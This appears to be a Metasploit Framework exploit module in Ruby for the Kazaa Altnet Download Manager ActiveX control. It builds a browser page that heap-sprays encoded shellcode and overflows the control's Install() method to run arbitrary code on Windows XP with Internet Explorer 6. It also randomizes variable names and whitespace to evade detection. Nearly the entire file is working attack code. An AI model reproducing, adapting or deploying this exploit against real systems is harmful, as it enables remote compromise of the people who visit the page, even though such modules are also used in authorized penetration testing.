129 lines
3.6 KiB
Ruby
129 lines
3.6 KiB
Ruby
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##
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# $Id: kazaa_altnet_heap.rb 4953 2007-05-21 20:51:13Z hdm $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::Kazaa_Altnet_Heap < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Altnet Download Manager ActiveX
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Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
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By sending a overly long string to the "Install()" method, an attacker may be
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able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://secunia.com/advisories/26970/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
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],
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'DisclosureDate' => 'Oct 3 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize the javascript variable names
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30)+2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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# Build out the message
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content =
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"<html>\n" +
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"<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
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"<script language='javascript'>\n" +
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"#{rand1} = unescape('#{shellcode}');\n" +
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"#{rand2} = unescape('#{nops}');\n" +
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"#{rand3} = 20;\n" +
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"#{rand4} = #{rand3}+#{rand1}.length\n" +
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"while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
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"#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
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"#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
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"while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
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"#{rand7} = new Array();\n" +
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"for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
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"#{rand8} = '#{target.ret}';\n" +
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"while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
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"#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
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"</script>\n" +
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"</html>"
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# Randomize the whitespace in the document
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content.gsub!(/\s+/) do |s|
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len = rand(100)+2
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set = "\x09\x20\x0d\x0a"
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buf = ''
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while (buf.length < len)
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buf << set[rand(set.length)].chr
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end
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buf
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end
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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end
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